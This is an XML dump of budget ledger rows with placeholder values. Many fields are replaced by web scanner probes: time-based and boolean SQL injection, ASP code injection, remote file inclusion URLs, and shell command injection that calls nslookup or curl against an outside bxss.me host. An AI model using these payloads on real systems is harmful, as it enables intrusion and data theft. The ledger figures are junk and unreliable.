<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1)) OR 917=(SELECT 917 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1oJ7TIWAd' OR 877=(SELECT 877 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>http://bxss.me/t/fit.txt%3F.jpg</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>Http://bxss.me/t/fit.txt</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1LyTs15rU')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&lt;!--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>response.write(9896471*9911546)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name /><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'+response.write(9896471*9911546)+'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup -q=cname hitxllhvzvxyu6d098.bxss.me||curl hitxllhvzvxyu6d098.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitxllhvzvxyu6d098.bxss.me||curl hitxllhvzvxyu6d098.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>"+response.write(9896471*9911546)+"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type /><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>19134233</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name /><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 or "LlUTdy8c"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>echo wbcrre$()\ xmblln\nz^xyu||a #' &amp;echo wbcrre$()\ xmblln\nz^xyu||a #|" &amp;echo wbcrre$()\ xmblln\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description /><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU"&amp;&amp;sleep(27*1000)*ouaoyc&amp;&amp;"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>http://bxss.me/t/fit.txt%3F.jpg</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUIq6GBQxs'; waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>if(now()=sysdate(),sleep(15),0)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*if(now()=sysdate(),sleep(15),0)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
